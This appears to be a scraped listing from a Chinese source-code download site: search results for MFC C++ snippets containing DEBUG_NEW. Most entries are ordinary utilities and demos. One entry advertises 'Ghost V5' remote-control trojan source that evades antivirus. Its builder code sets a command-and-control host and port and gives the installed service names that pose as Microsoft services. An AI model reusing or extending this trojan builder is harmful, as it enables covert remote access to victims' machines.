Location:
Search - debug_new
Search list
Description: ASocket示例 #include "stdafx.h" #include "s.h" #include "MainFrm.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CMainFrame IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd) BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd) //{{AFX_MSG_MAP(CMainFrame) // NOTE - the ClassWizard will add and remove mapping macros here. // DO NOT EDIT what you see in these blocks of generated code ! ON_WM_CREATE() //}}AFX_MSG_MAP END_MESSAGE_MAP() static UINT indicators[] = { ID_SEPARATOR, // status line indicator ID_INDICATOR_CAPS, ID_INDICATOR_NUM, ID_INDICATOR_SCRL, }; ///////////////////////////////////////////////////////////////////////////// // CMainFrame construction/destruction CMainFrame::CMainFrame() { // TODO: add member initialization code here } CMainFrame::~CMainFrame() { } int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CFrameWnd::OnCreate(lpCreateStruct) == -1) return -1; if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) || !m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
Platform: |
Size: 64331 |
Author: yanghaijun2008 |
Hits:
Description: 查看内存泄漏的类,使用方法: 把两个文件添加到工程里,在需要做检测的文件里加上#include "MemoryMgr.h"
如果是使用MFC的程序删掉#define new DEBUG_NEW一行,在MemoryMgr.cpp里最上边加上#include "stdafx.h"就可以了。结果会保存在MemoryLeakLog.txt里-See the class memory leaks, use the method: the two files added to the project, the testing needs to be done in the document together with the# include " MemoryMgr.h" If the procedure is to use the MFC deleted# define new DEBUG_NEW line, MemoryMgr. cpp with the most top# include " stdafx.h" on it. Results will be stored in MemoryLeakLog.txt Lane
Platform: |
Size: 4096 |
Author: 王 |
Hits:
Description: 简单的VC+程序,包括学生成绩添加、查询、删除、修改-// ScoreDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Ex_ODBC.h"
#include "ScoreDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__
#endif
/////////////////////////////////////////////////////////////////////////////
// CScoreDlg dialog
CScoreDlg::CScoreDlg(CWnd* pParent /*=NULL*/)
: CDialog(CScoreDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CScoreDlg)
m_strCourseNO = _T("")
m_fScore = 0.0f
m_fCredit = 0.0f
m_strStudentNO = _T("")
//}}AFX_DATA_INIT
}
void CScoreDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX)
//{{AFX_DATA_MAP(CScoreDlg)
DDX_Text(pDX, IDC_COURSENO, m_strCourseNO)
DDV_MaxChars(pDX, m_strCourseNO, 7)
DDX_Text(pDX, IDC_SCORE, m_fScore)
DDV_MinMaxFloat(pDX, m_fScore, 0.f, 100.f)
DDX_Text(pDX, IDC_CREDIT, m_fCredit)
DDV_MinMaxFloat(pDX, m_fCredit, 1.f, 20.f)
DDX_Text(pDX, IDC_STUNO, m_strStudentNO)
DDV_MaxChars(pDX, m_strStu
Platform: |
Size: 55296 |
Author: apple |
Hits:
Description: 一个y u v 转换成 JPEG图片格式的例子.
#include "stdafx.h"
#include "YUV2Jpg.h"
#include "YUV2JpgDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__
#endif
-A yuv convert JPEG image format examples.# Include " stdafx.h" # include " YUV2Jpg.h" # include " YUV2JpgDlg.h" # ifdef _DEBUG# define new DEBUG_NEW# undef THIS_FILE static char THIS_FILE [] = __FILE__ # endif
Platform: |
Size: 278528 |
Author: hi |
Hits:
Description: // Dsound3DPlayDemo.cpp : 定义应用程序的类行为。
//
#include "stdafx.h"
#include "Dsound3DPlayDemo.h"
#include "Dsound3DPlayDemoDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
Platform: |
Size: 69632 |
Author: zhou |
Hits:
Description: #include "stdafx.h"
#include "Dsound3DPlayDemo.h"
#include "Dsound3DPlayDemoDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif-
#include "stdafx.h"
#include "Dsound3DPlayDemo.h"
#include "Dsound3DPlayDemoDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
Platform: |
Size: 6144 |
Author: zhou |
Hits:
Description: 挖雷
自己写的排雷类的代码文件
// 雷的初始化等函数。
/// /// /// /// /// /// /// /// /// /// /// ////
#include "stdafx.h"
#include "newmine.h"
#include "MINE.h"
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__
#define new DEBUG_NEW
#endif
-newmine
Platform: |
Size: 7573504 |
Author: lvdongfang |
Hits:
Description: C++内存泄漏检测原理+实例源码下载,是一个跨平台的C++ 内存泄漏检测器的源程序,一个主要缺陷是不支持多线程。分配内存时不进行文件名复制,而只是保存其指针;效率较高(编译debug_new.cpp -Memory leak detection principle in C++ the+ instance of the source code download is a cross-platform source C++ memory leak detector, a main weakness is that does not support multi-threading. Allocate memory without the file name to copy, but only to save their pointers efficient (compiled debug_new.cpp
Platform: |
Size: 123904 |
Author: 陈有良 |
Hits:
Description: C++内存泄漏检测原理+实例源码下载,是一个跨平台的C++ 内存泄漏检测器的源程序,一个主要缺陷是不支持多线程。分配内存时不进行文件名复制,而只是保存其指针;效率较高(编译debug_new.cpp 时有效;参见文件中的注释)-Memory leak detection principle in C++ the+ instance of the source code download is a cross-platform source C++ memory leak detector, a main weakness is that does not support multi-threading. Allocate memory without the file name to copy, but only to save their pointers efficiency higher (compiled debug_new.cpp,. See the file' s comment)
Platform: |
Size: 123904 |
Author: 夏天的超级玩具 |
Hits:
Description: C++内存泄漏检测原理+实例源码下载,是一个跨平台的C++ 内存泄漏检测器的源程序,一个主要缺陷是不支持多线程。分配内存时不进行文件名复制,而只是保存其指针;效率较高(编译debug_new.cpp
-Memory leak detection principle in C++ the+ instance of the source code download is a cross-platform source C++ memory leak detector, a main weakness is that does not support multi-threading. Allocate memory without the file name to copy, but only to save their pointers efficient (compiled debug_new.cpp
Platform: |
Size: 123904 |
Author: suehao |
Hits:
Description: #include "stdafx.h"
#include "DCT变换.h"
#include "DCT变换Dlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__
#endif-DCT transform
Platform: |
Size: 583680 |
Author: 余树峰 |
Hits:
Description: 用MATLAB实现ERLANGB计算器
#include "stdafx.h"
#include "ErlangCalculator.h"
#include "ErlangCalculatorDlg.h"
#include "afxdialogex.h"
#include "math.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
-Using MATLAB ERLANGB calculator# include " stdafx.h" # include " ErlangCalculator.h" # include " ErlangCalculatorDlg.h" # include " afxdialogex.h" # include " math.h" # ifdef _DEBUG# define new DEBUG_NEW# endif
Platform: |
Size: 3072 |
Author: 冯加美 |
Hits:
Description: 鬼影V5源码 生成免杀 去验证版 免杀好做。去后门-// Build.cpp : implementation file
//
#include stdafx.h
#include 客户端.h
#include Build.h
#include encode.h
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__
#endif
/////////////////////////////////////////////////////////////////////////////
// CBuild dialog
CBuild::CBuild(CWnd* pParent /*=NULL*/)
: CDialog(CBuild::IDD, pParent)
{
//{{AFX_DATA_INIT(CBuild)
m_host = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Build ), _T( HOST ), 36936.f3322.org )
m_port = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Settings ), _T( Port ), 9777 )
m_ServiceName = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Build ), _T( ServiceName ), _T( Microsoft System conversion key service ))
m_ServiceDisplayName = ((CMyApp*)AfxGetApp())->m_IniFile.GetString(_T( Build ), _T( DisplayName ), _T( Microsoft Service transition system based on the bottom ))
m_ServiceDescription = ((CMyApp*)AfxGetApp())->m_In
Platform: |
Size: 1248256 |
Author: 雨泽 |
Hits:
Description: 用MATLAB实现ERLANGB计算器#include stdafx.h #include ErlangCalculator.h #include ErlangCalculatorDlg.h #include afxdialogex.h #include math.h #ifdef _DEBUG#define new DEBUG_NEW#endif-Using MATLAB ERLANGB calculator# include " stdafx.h"# include " ErlangCalculator.h"# include " ErlangCalculatorDlg.h"# include " afxdialogex.h"# include " math.h"# ifdef _DEBUG# define new DEBUG_NEW# endif
Platform: |
Size: 3072 |
Author: kang49357 |
Hits: